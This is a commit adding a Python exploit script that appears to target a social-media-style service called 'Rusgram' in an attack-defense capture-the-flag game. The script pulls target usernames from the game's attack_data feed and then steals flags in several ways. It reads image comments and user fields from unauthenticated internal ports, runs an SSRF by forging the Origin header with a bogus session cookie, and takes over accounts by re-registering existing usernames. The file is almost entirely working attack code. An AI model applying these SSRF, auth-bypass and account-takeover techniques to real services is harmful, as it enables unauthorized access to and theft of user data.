hueta
This commit is contained in:
frogolonso
Executable
+278
@@ -0,0 +1,278 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Rusgram — targeted steal по ForcAD attack_data + всегда-активный сбор
|
||||
флагов из комментариев к картинкам (:38002/images/N, без auth — как в перехвате).
|
||||
|
||||
Флаги живут в comments картинок и в полях msg / first_name / email жертвы.
|
||||
|
||||
Не дублирует rusgram_sploit.py (энумерация+RCE) и rusgram_ssti_flagrake.py
|
||||
(grep по ФС): здесь нет слепого ls/grep — только имена из ленты.
|
||||
|
||||
./start_sploit.py rusgram_attack_data.py
|
||||
python3 rusgram_attack_data.py <IP> [PORT]
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
|
||||
import requests
|
||||
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
IP_RX = re.compile(r"^\d{1,3}(?:\.\d{1,3}){3}$")
|
||||
TIMEOUT = 4
|
||||
|
||||
PROXY_PORT = 38000
|
||||
DB_PORT = 38002
|
||||
CONTENT_PORT = 38004
|
||||
|
||||
ATTACK_DATA_URL = os.environ.get(
|
||||
"ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
|
||||
SERVICE_HINTS = ("rusgram", "gram", "instagram")
|
||||
USER_KEYS = ("username", "login", "user", "name", "login_name", "public")
|
||||
FIELDS = ("msg", "first_name", "second_name", "email")
|
||||
MAX_USERS = 40
|
||||
|
||||
|
||||
def _rnd(n=10):
|
||||
return "".join(random.choices(string.ascii_lowercase, k=n))
|
||||
|
||||
|
||||
def _log(msg):
|
||||
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
def _looks_username(s):
|
||||
if not isinstance(s, str):
|
||||
return False
|
||||
s = s.strip()
|
||||
if not s or len(s) > 64 or len(s) < 1:
|
||||
return False
|
||||
if FLAG_RX.fullmatch(s) or IP_RX.fullmatch(s):
|
||||
return False
|
||||
if s.startswith("http://") or s.startswith("https://"):
|
||||
return False
|
||||
if any(c in s for c in " \t\r\n/\\"):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _harvest(node, out):
|
||||
if node is None:
|
||||
return
|
||||
if isinstance(node, str):
|
||||
raw = node.strip()
|
||||
if raw.startswith("{") or raw.startswith("["):
|
||||
try:
|
||||
_harvest(json.loads(raw), out)
|
||||
return
|
||||
except ValueError:
|
||||
pass
|
||||
if _looks_username(raw):
|
||||
out.append(raw)
|
||||
return
|
||||
if isinstance(node, (int, float, bool)):
|
||||
return
|
||||
if isinstance(node, list):
|
||||
for x in node:
|
||||
_harvest(x, out)
|
||||
return
|
||||
if isinstance(node, dict):
|
||||
for k, v in node.items():
|
||||
lk = str(k).lower()
|
||||
if lk in USER_KEYS and isinstance(v, str) and _looks_username(v):
|
||||
out.append(v.strip())
|
||||
else:
|
||||
_harvest(v, out)
|
||||
|
||||
|
||||
def get_attack_data(target_ip):
|
||||
"""ForcAD: {service: {ip|team_id: [hints...]}} — берём хинты своей цели."""
|
||||
try:
|
||||
r = requests.get(ATTACK_DATA_URL, timeout=3)
|
||||
r.raise_for_status()
|
||||
data = r.json()
|
||||
except (requests.RequestException, ValueError) as e:
|
||||
_log(f"attack_data: {e}")
|
||||
return []
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return []
|
||||
|
||||
team_id = target_ip.rsplit(".", 1)[-1]
|
||||
scoped = []
|
||||
|
||||
def scope(node):
|
||||
if not isinstance(node, dict):
|
||||
return
|
||||
for key, val in node.items():
|
||||
k = str(key)
|
||||
if k == target_ip or k == team_id:
|
||||
scoped.append(val)
|
||||
elif any(h in k.lower() for h in SERVICE_HINTS):
|
||||
if isinstance(val, dict):
|
||||
scope(val)
|
||||
else:
|
||||
scoped.append(val)
|
||||
|
||||
scope(data)
|
||||
if not scoped:
|
||||
scoped.append(data.get(target_ip) or data.get(team_id) or [])
|
||||
|
||||
users = []
|
||||
for node in scoped:
|
||||
_harvest(node, users)
|
||||
|
||||
# newest last in ForcAD → бьём свежие флаги первыми
|
||||
seen, ordered = set(), []
|
||||
for u in reversed(users):
|
||||
if u not in seen:
|
||||
seen.add(u)
|
||||
ordered.append(u)
|
||||
ordered = ordered[:MAX_USERS]
|
||||
_log(f"attack_data: {len(ordered)} users for {target_ip}")
|
||||
return ordered
|
||||
|
||||
|
||||
def _pull_flags(text, flags):
|
||||
if not text:
|
||||
return
|
||||
flags |= set(FLAG_RX.findall(text))
|
||||
|
||||
|
||||
def steal_images(ip, flags):
|
||||
"""Главный рабочий вектор (см. перехват): флаги в comments картинок.
|
||||
Не нужны ни имена, ни attack_data — просто читаем :38002/images/1..16."""
|
||||
d = f"http://{ip}:{DB_PORT}"
|
||||
before = len(flags)
|
||||
for i in range(1, 17):
|
||||
try:
|
||||
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
break
|
||||
# тот же ресурс через content-ноду, если 38002 прикрыт, а 38004 нет
|
||||
c = f"http://{ip}:{CONTENT_PORT}"
|
||||
for i in range(1, 17):
|
||||
try:
|
||||
r = requests.get(f"{c}/images/{i}", timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
break
|
||||
if len(flags) > before:
|
||||
_log(f"images : +{len(flags) - before}")
|
||||
|
||||
|
||||
def steal_db(ip, users, flags):
|
||||
d = f"http://{ip}:{DB_PORT}"
|
||||
before = len(flags)
|
||||
for u in users:
|
||||
for field in FIELDS:
|
||||
try:
|
||||
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
return
|
||||
if len(flags) > before:
|
||||
_log(f"db : +{len(flags) - before}")
|
||||
|
||||
|
||||
def steal_content(ip, users, flags):
|
||||
c = f"http://{ip}:{CONTENT_PORT}"
|
||||
before = len(flags)
|
||||
for u in users:
|
||||
try:
|
||||
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
return
|
||||
if len(flags) > before:
|
||||
_log(f"content : +{len(flags) - before}")
|
||||
|
||||
|
||||
def steal_ssrf(base, users, flags):
|
||||
actor, pwd = _rnd(), _rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register",
|
||||
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
|
||||
except requests.RequestException:
|
||||
return
|
||||
before = len(flags)
|
||||
for u in users:
|
||||
for field in FIELDS:
|
||||
try:
|
||||
r = requests.post(
|
||||
f"{base}/api/send_msg", json={"msg": "x"},
|
||||
cookies={"session": f"{actor}||WRONGPASS"},
|
||||
headers={"Origin": f"http://database:5002/users/{u}/{field}?x="},
|
||||
timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
return
|
||||
if len(flags) > before:
|
||||
_log(f"ssrf : +{len(flags) - before}")
|
||||
|
||||
|
||||
def steal_ato(base, users, flags):
|
||||
before = len(flags)
|
||||
for u in users:
|
||||
pwd = _rnd()
|
||||
try:
|
||||
r = requests.post(f"{base}/api/register",
|
||||
json={"login": u, "password": pwd}, timeout=TIMEOUT)
|
||||
if r.status_code != 200:
|
||||
continue
|
||||
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"},
|
||||
timeout=TIMEOUT)
|
||||
_pull_flags(r.text, flags)
|
||||
except requests.RequestException:
|
||||
continue
|
||||
if len(flags) > before:
|
||||
_log(f"ato : +{len(flags) - before}")
|
||||
|
||||
|
||||
def exploit(target_ip, port=None):
|
||||
proxy_port = int(port) if port else PROXY_PORT
|
||||
base = f"http://{target_ip}:{proxy_port}"
|
||||
flags = set()
|
||||
|
||||
# 1) always-on: флаги в комментах картинок, attack_data не нужен
|
||||
steal_images(target_ip, flags)
|
||||
|
||||
# 2) targeted: если attack_data доступен — добираем поля юзеров
|
||||
users = get_attack_data(target_ip)
|
||||
if users:
|
||||
steal_db(target_ip, users, flags)
|
||||
steal_content(target_ip, users, flags)
|
||||
steal_ssrf(base, users, flags)
|
||||
steal_ato(base, users, flags)
|
||||
return flags
|
||||
|
||||
|
||||
def start_sploit(ip, port=None):
|
||||
return exploit(ip, port)
|
||||
|
||||
|
||||
def sploit(ip, port=None):
|
||||
return exploit(ip, port)
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
target_ip = sys.argv[1]
|
||||
port = sys.argv[2] if len(sys.argv) > 2 else None
|
||||
try:
|
||||
for flag in exploit(target_ip, port) or []:
|
||||
clean = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean):
|
||||
print(clean, flush=True)
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user